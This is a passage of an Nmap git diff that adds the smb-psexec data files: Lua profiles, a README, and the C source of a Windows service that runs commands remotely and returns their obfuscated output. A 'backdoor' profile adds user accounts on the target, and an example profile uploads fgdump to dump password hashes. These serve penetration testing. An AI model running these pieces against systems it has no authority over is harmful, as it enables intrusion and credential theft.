summaryrefslogtreecommitdiffstats
path: root/nselib/data/psexec
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--nselib/data/psexec/README15
-rw-r--r--nselib/data/psexec/backdoor.lua27
-rw-r--r--nselib/data/psexec/default.lua144
-rw-r--r--nselib/data/psexec/drives.lua49
-rw-r--r--nselib/data/psexec/examples.lua68
-rw-r--r--nselib/data/psexec/experimental.lua24
-rw-r--r--nselib/data/psexec/network.lua113
-rw-r--r--nselib/data/psexec/nmap_service.c380
-rw-r--r--nselib/data/psexec/nmap_service.vcproj194
-rw-r--r--nselib/data/psexec/pwdump.lua52
10 files changed, 1066 insertions, 0 deletions
diff --git a/nselib/data/psexec/README b/nselib/data/psexec/README
new file mode 100644
index 0000000..3f0ede1
--- /dev/null
+++ b/nselib/data/psexec/README
@@ -0,0 +1,15 @@
+The files in this directory are the data files required for smb-psexec.nse.
+
+The .lua files are configurations. Each of these defines a profile for a
+psexec execution.
+
+nmap_service.exe is a program that facilitates the operation of smb-psexec.nse.
+It is uploaded to the remote host and runs the programs it's directed to run,
+redirecting their output to a file. This file is then downloaded by the
+script and displayed to the user.
+
+Because nmap_service.exe is tagged as spyware by some antivirus software, it is
+no longer distributed together with nmap. You can download it from
+https://nmap.org/psexec/nmap_service.exe or compile it from the provided
+sources. The smb-psexec.nse script will remind you if you run it and
+nmap_service.exe is not available.
diff --git a/nselib/data/psexec/backdoor.lua b/nselib/data/psexec/backdoor.lua
new file mode 100644
index 0000000..47f0d23
--- /dev/null
+++ b/nselib/data/psexec/backdoor.lua
@@ -0,0 +1,27 @@
+---This config file is designed for adding a backdoor to the system. It has a few
+-- options by default, only one enabled by default. I suggest
+--
+-- Note that none of these modules are included with Nmap by default.
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+-- TODO: allow the user to specify parameters
+--Note: password can't be longer than 14-characters, otherwise the program pauses for
+-- a response
+mod = {}
+mod.upload = false
+mod.name = "Adding a user account: $username/$password"
+mod.program = "net"
+mod.args = "user $username $password /add"
+mod.maxtime = 2
+mod.noblank = true
+mod.req_args = {'username','password'}
+table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/default.lua b/nselib/data/psexec/default.lua
new file mode 100644
index 0000000..cc31953
--- /dev/null
+++ b/nselib/data/psexec/default.lua
@@ -0,0 +1,144 @@
+---This is the default configuration file. It simply runs some built-in Window
+-- programs to gather information about the remote system. It's intended to be
+-- simple, demonstrate some of the concepts, and not break/alte anything.
+
+local table = require "table"
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+-- Get the Windows version. For some reason we can't run this directly, but it works ok
+-- if we run it through cmd.exe.
+mod = {}
+mod.upload = false
+mod.name = "Windows version"
+mod.program = "cmd.exe"
+mod.args = "/c \"ver\""
+mod.maxtime = 1
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Grab the ip and mac address(es) from ipconfig. The output requires quite a bit of cleanup
+-- to end up being usable and pretty.
+mod = {}
+mod.upload = false
+mod.name = "IP Address and MAC Address from 'ipconfig.exe'"
+mod.program = "ipconfig.exe"
+mod.args = "/all"
+mod.maxtime = 1
+mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
+mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
+table.insert(modules, mod)
+
+-- Grab the user list from 'net user', and make it look nice. Note that getting the groups
+-- list (with 'net localgroup') doesn't work without a proper login shell
+mod = {}
+mod.upload = false
+mod.name = "User list from 'net user'"
+mod.program = "net.exe"
+mod.args = "user"
+mod.maxtime = 1
+mod.remove = {"User accounts for", "The command completed", "%-%-%-%-%-%-%-%-%-%-%-"}
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Get the list of accounts in the 'administrators' group.
+mod = {}
+mod.upload = false
+mod.name = "Membership of 'administrators' from 'net localgroup administrators'"
+mod.program = "net.exe"
+mod.args = "localgroup administrators"
+mod.maxtime = 1
+mod.remove = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Members", "Alias name", "Comment"}
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards.
+-- Interestingly, in my tests against Windows 2003, ping gives weird output (but still, more or less, worked)
+-- when the SystemRoot environmental variable wasn't set.
+mod = {}
+mod.upload = false
+mod.name = "Can the host ping our address?"
+mod.program = "ping"
+mod.args = "-n 1 $lhost"
+mod.maxtime = 5
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time.
+-- Like ping, if the SystemRoot variable isn't set, the output is a bit strange (but still works)
+mod = {}
+mod.upload = false
+mod.name = "Traceroute back to the scanner"
+mod.program = "tracert"
+mod.args = "-d -h 5 $lhost"
+mod.maxtime = 20
+mod.remove = {"Tracing route", "Trace complete"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Dump the arp cache of the system.
+mod = {}
+mod.name = "ARP Cache from arp.exe"
+mod.program = 'arp.exe'
+mod.upload = false
+mod.args = '-a'
+mod.remove = "Interface"
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Get the listening/connected ports
+mod = {}
+mod.upload = false
+mod.name = "List of listening and established connections (netstat -an)"
+mod.program = "netstat"
+mod.args = "-an"
+mod.maxtime = 1
+mod.remove = {"Active"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Get the routing table.
+--
+-- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be
+-- set properly, so it isn't going to work against systems with odd paths.
+mod = {}
+mod.upload = false
+mod.name = "Full routing table from 'netstat -nr'"
+mod.program = "cmd.exe"
+mod.args = "/c \"netstat -nr\""
+mod.env = "PATH=C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINNT;C:\\WINNT\\system32"
+mod.maxtime = 1
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Boot configuration
+mod = {}
+mod.upload = false
+mod.name = "Boot configuration"
+mod.program = "bootcfg"
+mod.args = "/query"
+mod.maxtime = 5
+table.insert(modules, mod)
+
+-- Get the drive configuration. For same (insane?) reason, it uses NULL characters instead of spaces
+-- for the response, so we have to do a replaceent.
+mod = {}
+mod.upload = false
+mod.name = "Drive list (for more info, try adding --script-args=config=drives,drive=C:)"
+mod.program = "fsutil"
+mod.args = "fsinfo drives"
+mod.replace = {{"\0", " "}}
+mod.maxtime = 1
+table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/drives.lua b/nselib/data/psexec/drives.lua
new file mode 100644
index 0000000..2272821
--- /dev/null
+++ b/nselib/data/psexec/drives.lua
@@ -0,0 +1,49 @@
+---This configuration file pulls info about a given harddrive
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+mod = {}
+mod.upload = false
+mod.name = "Drive type"
+mod.program = "fsutil"
+mod.args = "fsinfo drivetype $drive"
+mod.req_args = {"drive"}
+mod.maxtime = 1
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Drive info"
+mod.program = "fsutil"
+mod.args = "fsinfo ntfsinfo $drive"
+mod.req_args = {"drive"}
+mod.replace = {{" :",":"}}
+mod.maxtime = 1
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Drive type"
+mod.program = "fsutil"
+mod.args = "fsinfo statistics $drive"
+mod.req_args = {"drive"}
+mod.replace = {{" :",":"}}
+mod.maxtime = 1
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Drive quota"
+mod.program = "fsutil"
+mod.args = "quota query $drive"
+mod.req_args = {"drive"}
+mod.maxtime = 1
+table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/examples.lua b/nselib/data/psexec/examples.lua
new file mode 100644
index 0000000..8e15df4
--- /dev/null
+++ b/nselib/data/psexec/examples.lua
@@ -0,0 +1,68 @@
+---This configuration file contains the examples given in smb-psexec.nse.
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+overrides.timeout = 40
+
+modules = {}
+local mod
+
+mod = {}
+mod.upload = false
+mod.name = "Membership of 'administrators' from 'net localgroup administrators'"
+mod.program = "net.exe"
+mod.args = "localgroup administrators"
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Example 2: Membership of 'administrators', cleaned"
+mod.program = "net.exe"
+mod.args = "localgroup administrators"
+mod.remove = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Members", "Alias name", "Comment"}
+mod.noblank = true
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Example 3: IP Address and MAC Address"
+mod.program = "ipconfig.exe"
+mod.args = "/all"
+mod.maxtime = 1
+mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
+mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Example 4: Can the host ping our address?"
+mod.program = "ping.exe"
+mod.args = "$lhost"
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Example 5: Can the host ping $host?"
+mod.program = "ping.exe"
+mod.args = "$host"
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+mod.req_args = {'host'}
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = true
+mod.name = "Example 6: FgDump"
+mod.program = "fgdump.exe"
+mod.args = "-c -l fgdump.log"
+mod.url = "http://www.foofus.net/fizzgig/fgdump/"
+mod.tempfiles = {"fgdump.log"}
+mod.outfile = "127.0.0.1.pwdump"
+table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/experimental.lua b/nselib/data/psexec/experimental.lua
new file mode 100644
index 0000000..5784101
--- /dev/null
+++ b/nselib/data/psexec/experimental.lua
@@ -0,0 +1,24 @@
+---This is the configuration file for modules that aren't quite ready for prime
+-- time yet.
+
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+
+-- I can't get fport to work for me, so I'm going to leave this one in 'experimental' for now
+--mod = {}
+--mod.upload = true
+--mod.name = "Fport"
+--mod.program = "Fport.exe"
+--mod.url = "http://www.foundstone.com/us/resources/proddesc/fport.htm"
+--mod.maxtime = 1
+--mod.noblank = true
+--table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/network.lua b/nselib/data/psexec/network.lua
new file mode 100644
index 0000000..316cd3b
--- /dev/null
+++ b/nselib/data/psexec/network.lua
@@ -0,0 +1,113 @@
+---More verbose network scripts
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+-- Grab the ip and mac address(es) from ipconfig. The output requires quite a bit of cleanup
+-- to end up being usable and pretty.
+mod = {}
+mod.upload = false
+mod.name = "IP Address and MAC Address from 'ipconfig.exe'"
+mod.program = "ipconfig.exe"
+mod.args = "/all"
+mod.maxtime = 1
+mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
+mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
+table.insert(modules, mod)
+
+-- Dump the arp cache of the system.
+mod = {}
+mod.name = "ARP Cache from arp.exe"
+mod.program = 'arp.exe'
+mod.upload = false
+mod.args = '-a'
+mod.remove = "Interface"
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Get the listening/connected ports
+mod = {}
+mod.upload = false
+mod.name = "List of listening and established connections (netstat -an)"
+mod.program = "netstat"
+mod.args = "-anb"
+mod.maxtime = 1
+mod.remove = {"Active"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Get the routing table.
+--
+-- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be
+-- set properly, so it isn't going to work against systems with odd paths.
+mod = {}
+mod.upload = false
+mod.name = "Full routing table from 'netstat -nr'"
+mod.program = "cmd.exe"
+mod.args = "/c \"netstat -nr\""
+mod.env = "PATH=C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINNT;C:\\WINNT\\system32"
+mod.maxtime = 1
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards.
+-- Interestingly, in my tests against Windows 2003, ping gives weird output (but still, more or less, worked)
+-- when the SystemRoot environmental variable wasn't set.
+mod = {}
+mod.upload = false
+mod.name = "Can the host ping our address?"
+mod.program = "ping"
+mod.args = "-n 1 $lhost"
+mod.maxtime = 5
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time.
+-- Like ping, if the SystemRoot variable isn't set, the output is a bit strange (but still works)
+mod = {}
+mod.upload = false
+mod.name = "Traceroute back to the scanner"
+mod.program = "tracert"
+mod.args = "-d -h 5 $lhost"
+mod.maxtime = 20
+mod.remove = {"Tracing route", "Trace complete"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Ping an arbitrary address given by the user
+mod = {}
+mod.upload = false
+mod.name = "Can the host ping $address?"
+mod.program = "ping"
+mod.args = "-n 1 $address"
+mod.req_args = {'address'}
+mod.maxtime = 5
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Try a traceroute to an address given by the user
+mod = {}
+mod.upload = false
+mod.name = "Traceroute to $address (5 hops or less)"
+mod.program = "tracert"
+mod.args = "-d -h 5 $address"
+mod.req_args = {'address'}
+mod.maxtime = 20
+mod.remove = {"Tracing route", "Trace complete"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+
diff --git a/nselib/data/psexec/nmap_service.c b/nselib/data/psexec/nmap_service.c
new file mode 100644
index 0000000..a6a563b
--- /dev/null
+++ b/nselib/data/psexec/nmap_service.c
@@ -0,0 +1,380 @@
+/**This is the program that's uploaded to a Windows machine when psexec is run. It acts as a Windows
+ * service, since that's what Windows expects. When it is started, it's passed a list of programs to
+ * run. These programs are all expected to be at the indicated path (whether they were uploaded or
+ * they were always present makes no difference).
+ *
+ * After running the programs, the output from each of them is ciphered with a simple xor encryption
+ * (the encryption key is passed as a parameter; because it crosses the wire, it isn't really a
+ * security feature, more of validation/obfuscation to prevent sniffers from grabbing the output. This
+ * output is placed in a temp file. When the cipher is complete, the output is moved into a new file.
+ * When Nmap detects the presence of this new file, it is downloaded, then all files, temp files, and
+ * the service (this program) is deleted.
+ *
+ * One interesting note is that executable files don't require a specific extension to be used by this
+ * program. By default, at the time of this writing, Nmap appends a .txt extension to the file.
+ *
+ * @args argv[1] The final filename where the ciphered output will go.
+ * @args argv[2] The temporary file where output is sent before being renamed; this is sent as a parameter
+ * so we can delete it later (if, say, the script fails).
+ * @args argv[3] The number of programs that are going to be run.
+ * @args argv[4] Logging: a boolean value (1 to enable logging, 0 to disable).
+ * @args argv[5] An 'encryption' key for simple 'xor' encryption. This string can be as long or as short
+ * as you want, but a longer string will be more secure (although this algorithm should
+ * *never* really be considered secure).
+ * @args Remaining There are two arguments for each program to run: a path (including arguments) and
+ * environmental variables.
+ *
+ * @auther Ron Bowes
+ * @copyright Ron Bowes
+ * @license "Same as Nmap--See https://nmap.org/book/man-legal.html"
+ */
+
+#include <stdio.h>
+#include <windows.h>
+
+FILE *outfile;
+
+SERVICE_STATUS ServiceStatus;
+SERVICE_STATUS_HANDLE hStatus;
+
+static char *enc_key;
+static int enc_key_loc;
+
+static void log_message(char *format, ...)
+{
+ static int enabled = 1;
+
+ if(!format)
+ {
+ enabled = 0;
+ DeleteFile("c:\\nmap-log.txt");
+ }
+
+
+ if(enabled)
+ {
+ va_list argp;
+ FILE *file;
+
+ fopen_s(&file, "c:\\nmap-log.txt", "a");
+
+ if(file != NULL)
+ {
+ va_start(argp, format);
+ vfprintf(file, format, argp);
+ va_end(argp);
+ fprintf(file, "\n");
+ fclose(file);
+ }
+ }
+}
+
+static char cipher(char c)
+{
+ if(strlen(enc_key) == 0)
+ return c;
+
+ c = c ^ enc_key[enc_key_loc];
+ enc_key_loc = (enc_key_loc + 1) % strlen(enc_key);
+
+ return c;
+}
+
+static void output(int num, char *str, int length)
+{
+ int i;
+
+ if(length == -1)
+ length = strlen(str);
+
+ for(i = 0; i < length; i++)
+ {
+ if(str[i] == '\n')
+ {
+ fprintf(outfile, "%c", cipher('\n'));
+ fprintf(outfile, "%c", cipher('0' + (num % 10)));
+ }
+ else
+ {
+ fprintf(outfile, "%c", cipher(str[i]));
+ }
+ }
+}
+
+static void go(int num, char *lpAppPath, char *env, int headless, int include_stderr, char *readfile)
+{
+ STARTUPINFO startupInfo;
+ PROCESS_INFORMATION processInformation;
+ SECURITY_ATTRIBUTES sa;
+ HANDLE stdout_read, stdout_write;
+ DWORD creation_flags;
+
+ int bytes_read;
+ char buffer[1024];
+
+ /* Create a security attributes structure. This is required to inherit handles. */
+ ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));
+ sa.nLength = sizeof(SECURITY_ATTRIBUTES);
+ sa.lpSecurityDescriptor = NULL;
+
+ if(!headless)
+ sa.bInheritHandle = TRUE;
+
+ /* Create a pipe that'll be used for stdout and stderr. */
+ if(!headless)
+ CreatePipe(&stdout_read, &stdout_write, &sa, 1);
+
+ /* Initialize the startup info struct. The most important part is setting the stdout/stderr handle to our pipe. */
+ ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
+ startupInfo.cb = sizeof(STARTUPINFO);
+
+ if(!headless)
+ {
+ startupInfo.dwFlags = STARTF_USESTDHANDLES;
+ startupInfo.hStdOutput = stdout_write;
+ if(include_stderr)
+ startupInfo.hStdError = stdout_write;
+ }
+
+ /* Log a couple messages. */
+ log_message("Attempting to load the program: %s", lpAppPath);
+
+ /* Initialize the PROCESS_INFORMATION structure. */
+ ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
+
+ /* To divide the output from one program to the next */
+ output(num, "\n", -1);
+
+ /* Decide on the creation flags */
+ creation_flags = CREATE_NO_WINDOW;
+ if(headless)
+ creation_flags = DETACHED_PROCESS;
+
+ /* Create the actual process with an overly-complicated CreateProcess function. */
+ if(!CreateProcess(NULL, lpAppPath, 0, &sa, sa.bInheritHandle, CREATE_NO_WINDOW, env, 0, &startupInfo, &processInformation))
+ {
+ output(num, "Failed to create the process", -1);
+
+ if(!headless)
+ {
+ CloseHandle(stdout_write);
+ CloseHandle(stdout_read);
+ }
+ }
+ else
+ {
+ log_message("Successfully created the process!");
+
+ /* Read the pipe, if it isn't headless */
+ if(!headless)
+ {
+ /* Close the write handle -- if we don't do this, the ReadFile() coming up gets stuck. */
+ CloseHandle(stdout_write);
+
+ /* Read from the pipe. */
+ log_message("Attempting to read from the pipe");
+ while(ReadFile(stdout_read, buffer, 1023, &bytes_read, NULL))
+ {
+ if(strlen(readfile) == 0)
+ output(num, buffer, bytes_read);
+ }
+ CloseHandle(stdout_read);
+
+ /* If we're reading an output file instead of stdout, do it here. */
+ if(strlen(readfile) > 0)
+ {
+ FILE *read;
+ errno_t err;
+
+ log_message("Trying to open output file: %s", readfile);
+ err = fopen_s(&read, readfile, "rb");
+
+ if(err)
+ {
+ log_message("Couldn't open the readfile: %d", err);
+ output(num, "Couldn't open the output file", -1);
+ }
+ else
+ {
+ char buf[1024];
+ int count;
+
+ count = fread(buf, 1, 1024, read);
+ while(count)
+ {
+ output(num, buf, count);
+ count = fread(buf, 1, 1024, read);
+ }
+
+ fclose(read);
+ }
+ }
+ }
+ else
+ {
+ output(num, "Process has been created", -1);
+ }
+
+ log_message("Done!");
+ }
+}
+
+// Control handler function
+static void ControlHandler(DWORD request)
+{
+ switch(request)
+ {
+ case SERVICE_CONTROL_STOP:
+
+ ServiceStatus.dwWin32ExitCode = 0;
+ ServiceStatus.dwCurrentState = SERVICE_STOPPED;
+ SetServiceStatus (hStatus, &ServiceStatus);
+ return;
+
+ case SERVICE_CONTROL_SHUTDOWN:
+
+ ServiceStatus.dwWin32ExitCode = 0;
+ ServiceStatus.dwCurrentState = SERVICE_STOPPED;
+ SetServiceStatus (hStatus, &ServiceStatus);
+ return;
+
+ default:
+ break;
+ }
+
+ SetServiceStatus(hStatus, &ServiceStatus);
+}
+
+
+
+static void die(int err)
+{
+ // Not enough arguments
+ ServiceStatus.dwCurrentState = SERVICE_STOPPED;
+ ServiceStatus.dwWin32ExitCode = err;
+ SetServiceStatus(hStatus, &ServiceStatus);
+}
+
+static void ServiceMain(int argc, char** argv)
+{
+ char *outfile_name;
+ char *tempfile_name;
+ int count;
+ int logging;
+ int result;
+ int i;
+ char *current_directory;
+
+ /* Make sure we got the minimum number of arguments. */
+ if(argc < 6)
+ return;
+
+ /* Read the arguments. */
+ outfile_name = argv[1];
+ tempfile_name = argv[2];
+ count = atoi(argv[3]);
+ logging = atoi(argv[4]);
+ enc_key = argv[5];
+ enc_key_loc = 0;
+ current_directory = argv[6];
+
+ /* If they didn't turn on logging, disable it. */
+ if(logging != 1)
+ log_message(NULL);
+
+ /* Log the state. */
+ log_message("");
+ log_message("-----------------------");
+ log_message("STARTING");
+
+ /* Log all the arguments. */
+ log_message("Arguments: %d\n", argc);
+ for(i = 0; i < argc; i++)
+ log_message("Argument %d: %s", i, argv[i]);
+
+ /* Set up the service. Likely unnecessary for what we're doing, but it doesn't hurt. */
+ ServiceStatus.dwServiceType = SERVICE_WIN32;
+ ServiceStatus.dwCurrentState = SERVICE_RUNNING;
+ ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
+ ServiceStatus.dwWin32ExitCode = 0;
+ ServiceStatus.dwServiceSpecificExitCode = 0;
+ ServiceStatus.dwCheckPoint = 0;
+ ServiceStatus.dwWaitHint = 0;
+ hStatus = RegisterServiceCtrlHandler("", (LPHANDLER_FUNCTION)ControlHandler);
+ SetServiceStatus(hStatus, &ServiceStatus);
+
+ /* Registering Control Handler failed (this is a bit late, but eh?) */
+ if(hStatus == (SERVICE_STATUS_HANDLE)0)
+ {
+ log_message("Service failed to start");
+ die(-1);
+ return;
+ }
+
+ /* Set the current directory. */
+ SetCurrentDirectory(current_directory);
+
+ /* Open the output file. */
+ log_message("Opening temporary output file: %s", tempfile_name);
+
+ /* Open the outfile. */
+ if(result = fopen_s(&outfile, tempfile_name, "wb"))
+ {
+ log_message("Couldn't open output file: %d", result);
+ die(-1);
+ }
+ else
+ {
+ /* Run the programs we were given. */
+ for(i = 0; i < count; i++)
+ {
+ char *program = argv[(i*5) + 7];
+ char *env = argv[(i*5) + 8];
+ char *headless = argv[(i*5) + 9];
+ char *include_stderr = argv[(i*5) + 10];
+ char *read_file = argv[(i*5) + 11];
+
+ go(i, program, env, !strcmp(headless, "true"), !strcmp(include_stderr, "true"), read_file);
+ }
+
+ /* Close the output file. */
+ if(fclose(outfile))
+ log_message("Couldn't close the file: %d", errno);
+
+ /* Rename the output file (this is what tells Nmap we're done. */
+ log_message("Renaming file %s => %s", tempfile_name, outfile_name);
+
+ /* I noticed that sometimes, programs inherit the handle to the file (or something), so I can't change it right
+ * away. For this reason, allow about 10 seconds to move it. */
+ for(i = 0; i < 10; i++)
+ {
+ if(rename(tempfile_name, outfile_name))
+ {
+ log_message("Couldn't rename file: %d (will try %d more times)", errno, 10 - i - 1);
+ }
+ else
+ {
+ log_message("File successfully renamed!");
+ break;
+ }
+
+ Sleep(1000);
+ }
+
+ /* Clean up and stop the service. */
+ die(0);
+ }
+}
+
+int main(int argc, char *argv[])
+{
+ SERVICE_TABLE_ENTRY ServiceTable[2];
+ ServiceTable[0].lpServiceName = "";
+ ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
+
+ ServiceTable[1].lpServiceName = NULL;
+ ServiceTable[1].lpServiceProc = NULL;
+ // Start the control dispatcher thread for our service
+ StartServiceCtrlDispatcher(ServiceTable);
+}
+
diff --git a/nselib/data/psexec/nmap_service.vcproj b/nselib/data/psexec/nmap_service.vcproj
new file mode 100644
index 0000000..d250a71
--- /dev/null
+++ b/nselib/data/psexec/nmap_service.vcproj
@@ -0,0 +1,194 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="9.00"
+ Name="nmap_service"
+ ProjectGUID="{ECFB8033-F0DA-40FA-9C47-DBE06DAB6A5F}"
+ RootNamespace="nmap_service"
+ Keyword="Win32Proj"
+ TargetFrameworkVersion="196613"
+ >
+ <Platforms>
+ <Platform
+ Name="Win32"
+ />
+ </Platforms>
+ <ToolFiles>
+ </ToolFiles>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+ IntermediateDirectory="$(ConfigurationName)"
+ ConfigurationType="1"
+ CharacterSet="1"
+ >
+ <Tool
+ Name="VCPreBuildEventTool"
+ />
+ <Tool
+ Name="VCCustomBuildTool"
+ />
+ <Tool
+ Name="VCXMLDataGeneratorTool"
+ />
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"
+ />
+ <Tool
+ Name="VCMIDLTool"
+ />
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="true"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="3"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ DebugInformationFormat="4"
+ />
+ <Tool
+ Name="VCManagedResourceCompilerTool"
+ />
+ <Tool
+ Name="VCResourceCompilerTool"
+ />
+ <Tool
+ Name="VCPreLinkEventTool"
+ />
+ <Tool
+ Name="VCLinkerTool"
+ LinkIncremental="2"
+ GenerateDebugInformation="true"
+ SubSystem="1"
+ TargetMachine="1"
+ />
+ <Tool
+ Name="VCALinkTool"
+ />
+ <Tool
+ Name="VCManifestTool"
+ />
+ <Tool
+ Name="VCXDCMakeTool"
+ />
+ <Tool
+ Name="VCBscMakeTool"
+ />
+ <Tool
+ Name="VCFxCopTool"
+ />
+ <Tool
+ Name="VCAppVerifierTool"
+ />
+ <Tool
+ Name="VCPostBuildEventTool"
+ />
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+ IntermediateDirectory="$(ConfigurationName)"
+ ConfigurationType="1"
+ CharacterSet="2"
+ WholeProgramOptimization="1"
+ >
+ <Tool
+ Name="VCPreBuildEventTool"
+ />
+ <Tool
+ Name="VCCustomBuildTool"
+ />
+ <Tool
+ Name="VCXMLDataGeneratorTool"
+ />
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"
+ />
+ <Tool
+ Name="VCMIDLTool"
+ />
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ EnableIntrinsicFunctions="true"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ RuntimeLibrary="0"
+ EnableFunctionLevelLinking="true"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="false"
+ DebugInformationFormat="3"
+ />
+ <Tool
+ Name="VCManagedResourceCompilerTool"
+ />
+ <Tool
+ Name="VCResourceCompilerTool"
+ />
+ <Tool
+ Name="VCPreLinkEventTool"
+ />
+ <Tool
+ Name="VCLinkerTool"
+ LinkIncremental="1"
+ GenerateDebugInformation="true"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"
+ />
+ <Tool
+ Name="VCALinkTool"
+ />
+ <Tool
+ Name="VCManifestTool"
+ />
+ <Tool
+ Name="VCXDCMakeTool"
+ />
+ <Tool
+ Name="VCBscMakeTool"
+ />
+ <Tool
+ Name="VCFxCopTool"
+ />
+ <Tool
+ Name="VCAppVerifierTool"
+ />
+ <Tool
+ Name="VCPostBuildEventTool"
+ />
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+ UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+ >
+ <File
+ RelativePath=".\nmap_service.c"
+ >
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc;xsd"
+ UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+ >
+ </Filter>
+ <Filter
+ Name="Resource Files"
